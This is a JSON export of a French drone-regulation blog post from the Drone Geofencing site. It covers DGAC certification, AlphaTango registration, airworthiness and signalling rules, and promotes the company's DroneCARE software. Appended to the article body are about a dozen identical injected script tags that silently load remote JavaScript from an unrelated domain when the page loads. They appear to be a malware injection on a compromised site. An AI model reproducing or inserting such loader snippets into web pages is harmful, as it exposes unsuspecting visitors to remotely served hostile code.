{"id":791,"date":"2020-05-15T12:43:09","date_gmt":"2020-05-15T10:43:09","guid":{"rendered":"https:\/\/drone-geofencing.fr\/?p=791"},"modified":"2025-10-22T01:43:08","modified_gmt":"2025-10-21T23:43:08","slug":"les-aeronefs-a-quelles-obligations-sont-ils-soumis","status":"publish","type":"post","link":"https:\/\/drone-geofencing.com\/en\/les-aeronefs-a-quelles-obligations-sont-ils-soumis\/","title":{"rendered":"Drones \u2013 What obligations are they subject to?"},"content":{"rendered":"<p>Tout drone professionnel (c\u2019est-\u00e0-dire de plus de 800 grammes) doit \u00eatre homologu\u00e9 pour \u00eatre autoris\u00e9 \u00e0 voler. Le constructeur ET l\u2019exploitant doivent donc respecter certaines contraintes techniques et r\u00e9glementaires avant que la DGAC consid\u00e8re l\u2019a\u00e9ronef apte au vol.<\/p>\n<h3><strong>Les r\u00e8gles concernant l\u2019homologation d\u2019un a\u00e9ronef<\/strong><\/h3>\n<p>L\u2019homologation est \u00e0 double niveau\u00a0:<\/p>\n<ul>\n<li>Dans un premier temps, le constructeur envoie notamment le dossier technique du drone et pr\u00e9cise si ce drone sera utilis\u00e9 \u00e0 titre individuel et\/ou en s\u00e9rie. La DGAC lui remettra alors soit une <strong>attestation de conception<\/strong> individuelle, soit une attestation de conception de s\u00e9rie.<\/li>\n<\/ul>\n<p>Cette attestation pr\u00e9cise notamment les sc\u00e9narios op\u00e9rationnels (S-1, S-2, S-3, S-4) pour lequel l\u2019homologation est consid\u00e9r\u00e9e valide. Cette derni\u00e8re est valable tant que la DGAC ne la suspend pas ou ne la retire pas.<\/p>\n<ul>\n<li>Dans le un deuxi\u00e8me temps (lors de l\u2019achat de l\u2019a\u00e9ronef), l\u2019exploitant de l\u2019a\u00e9ronef doit obtenir de la DGAC un <strong>certificat de conformit\u00e9<\/strong>. Ce dernier habilite l\u2019exploitant \u00e0 utiliser l\u2019a\u00e9ronef pour ses activit\u00e9s particuli\u00e8res.<\/li>\n<\/ul>\n<p>Toute modification de l\u2019a\u00e9ronef n\u00e9cessite de re-homologuer l\u2019a\u00e9ronef aupr\u00e8s de la DGAC.<\/p>\n<h3><strong>Les contraintes techniques permettant \u00e0 un drone d\u2019\u00eatre apte au vol<\/strong><\/h3>\n<p>L\u2019homologation d\u2019un drone permet \u00e0 la DGAC de garantir la s\u00e9curit\u00e9 des tiers lors du vol de ce drone.<\/p>\n<p>Les performances techniques du drone sont donc extr\u00eamement \u00e9tudi\u00e9es notamment celles touchant \u00e0 la s\u00e9curit\u00e9 du vol\u00a0: syst\u00e8me de s\u00e9curit\u00e9 mis en \u0153uvre, redondance des sous-syst\u00e8mes du drone, limitations op\u00e9rationnelles du constructeur.<\/p>\n<p>A titre d\u2019illustration\u00a0:<\/p>\n<ul>\n<li>Pour un sc\u00e9nario S3 et pour un a\u00e9ronef de plus de 2kg, il faudra que pour des raisons de s\u00e9curit\u00e9, le drone poss\u00e8de un dispositif de protection de tiers, comme par exemple un parachute de s\u00e9curit\u00e9 en cas de panne ou d\u2019avarie impr\u00e9vue.<\/li>\n<li>Pour un sc\u00e9nario S2, il sera notamment exig\u00e9 que les \u00e9quipements de l\u2019a\u00e9ronef permettent l\u2019enregistrement de toutes les donn\u00e9es des 20 derni\u00e8res minutes de vol.<\/li>\n<li>Pour un S4, il sera demand\u00e9 qu\u2019en cas d\u2019atterrissage d\u2019urgence, il puisse y avoir un retour vid\u00e9o temps r\u00e9el depuis les \u00e9quipements de capture d\u2019image du drone.<\/li>\n<\/ul>\n<p>Le deuxi\u00e8me point tr\u00e8s regard\u00e9 concerne les proc\u00e9dures op\u00e9rationnelles pr\u00e9conis\u00e9es par le constructeur en cas de\u00a0: proc\u00e9dure d\u2019urgence, panne d\u2019un sous-syst\u00e8me, compte-rendu en cas d\u2019incidents, etc.<\/p>\n<h3><strong>Les r\u00e8gles concernant l\u2019identification de l\u2019a\u00e9ronef<\/strong><\/h3>\n<p>Tous les a\u00e9ronefs <strong>de plus de 800g<\/strong> soient enregistr\u00e9s par leur propri\u00e9taire sur le <strong>Portail <\/strong><a href=\"https:\/\/alphatango.aviation-civile.gouv.fr\/login.jsp\"><strong>AlphaTango<\/strong><\/a>. Le drone re\u00e7oit alors un num\u00e9ro d\u2019identification qui est valable cinq ans. Une fois obtenu, ce num\u00e9ro d\u2019identification doit \u00eatre appos\u00e9 sur l\u2019a\u00e9ronef lui-m\u00eame, via une plaque qui devra \u00eatre \u00e0 l\u2019\u00e9preuve du feu et lisible \u00e0 l\u2019\u0153il nu \u00e0 30 centim\u00e8tres minimum.<\/p>\n<p>Tous les a\u00e9ronefs de plus de 25 kg doivent \u00eatre immatricul\u00e9s en application de l\u2019article 6111-1 du code des transports.<\/p>\n<p>La proc\u00e9dure d\u2019immatriculation est la suivante\u00a0: (i) R\u00e9servation des marques d\u2019immatriculation F-Dxxx aupr\u00e8s de la DGAC-DTA\u00a0; (ii) Enregistrement de l\u2019a\u00e9ronef sur AlphaTango (N\u00b0 UAS-FR-xxxx)\u00a0; et (iii) Communication du N\u00b0 d\u2019enregistrement au bureau des immatriculations pour la suite de la proc\u00e9dure d\u2019immatriculation.<\/p>\n<h3><strong>Les exigences concernant l\u2019\u00e9tat de navigabilit\u00e9 du drone<\/strong><\/h3>\n<p>La DGAC est tr\u00e8s attentive \u00e0 s\u2019assurer que l\u2019exploitant de drone veille au bon respect de l\u2019\u00e9tat de navigabilit\u00e9 de ses a\u00e9ronefs.<\/p>\n<p>Trois points sont particuli\u00e8rement \u00e9tudi\u00e9s en cas de contr\u00f4le et\/ou de probl\u00e8me\u00a0: Les proc\u00e9dure d\u2019entretien avant vol, les proc\u00e9dures de maintenance et de r\u00e9vision, les proc\u00e9dures de remplacement des sous-syst\u00e8mes (h\u00e9lice, moteur, batterie, ESC, contr\u00f4leur de vol, etc.<\/p>\n<h3><strong>Les exigences en ce qui concerne la g\u00e9olocalisation du drone<\/strong><\/h3>\n<p>Depuis le 1<sup>er<\/sup> mai 2020, Tous les nouveaux a\u00e9ronefs doivent \u00eatre \u00e9quip\u00e9s d\u2019un <strong>dispositif de signalement<\/strong> <strong>num\u00e9rique<\/strong> et <strong>lumineux<\/strong>. Pour le signalement, il n\u2019est n\u00e9cessaire que pour les a\u00e9ronefs effectuant des missions de nuit. Pour les anciens a\u00e9ronefs, cette obligation sera effective au 1ert novembre 2020.<\/p>\n<p>Ces r\u00e8gles doivent permettre d\u2019\u00eatre en mesure de g\u00e9olocaliser \u00e0 tout moment un drone, peu importe la situation (vol en cours, panne avarie, crash, d\u00e9viation du plan de vol, etc\u2026). De la m\u00eame mani\u00e8re, certaines conditions de vol (vol de jour ou de nuit, hauteur de vol maximum sup\u00e9rieure \u00e0 50m) n\u00e9cessiteront la mise en place d\u2019un balisage des a\u00e9ronefs captifs.<\/p>\n<h3><strong>Pour la gestion de vos drones, que peut vous apporter la solution DRONECARE ?<\/strong><\/h3>\n<p>Comme \u00e9voqu\u00e9 tout au long des articles pr\u00e9c\u00e9dents,<strong> Drone Geofencing<\/strong>, via son logiciel <strong>DroneCARE<\/strong>, offre \u00e0 ses utilisateurs une interface de gestion centralis\u00e9e et intelligente de tous les aspects r\u00e9glementaires li\u00e9s \u00e0 l\u2019utilisation d\u2019un a\u00e9ronef.<\/p>\n<p>Le module a\u00e9ronef a \u00e9t\u00e9 con\u00e7ue pour permettre \u00e0 l\u2019exploitant de centraliser toutes les informations et documents importants relatifs \u00e0 un a\u00e9ronef et garantir \u00e0 l\u2019exploitant que ses \u00e9quipes utilisent le parc d\u2019a\u00e9ronef dans de bonne condition.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); 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p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>All professional drones (i.e., those weighing over 800 grams) must be certified to be authorized to fly. Both the manufacturer and the operator must therefore comply with certain technical and regulatory requirements before the DGAC (French Civil Aviation Authority) deems the aircraft airworthy. The rules concerning aircraft certification: Certification is a two-tiered process: First, the manufacturer<\/p>","protected":false},"author":2,"featured_media":792,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-791","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-reglementation-drone","category-8","description-off"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.5 - aioseo.com -->\n\t<meta name=\"description\" content=\"Tout drone doit \u00eatre homologu\u00e9. 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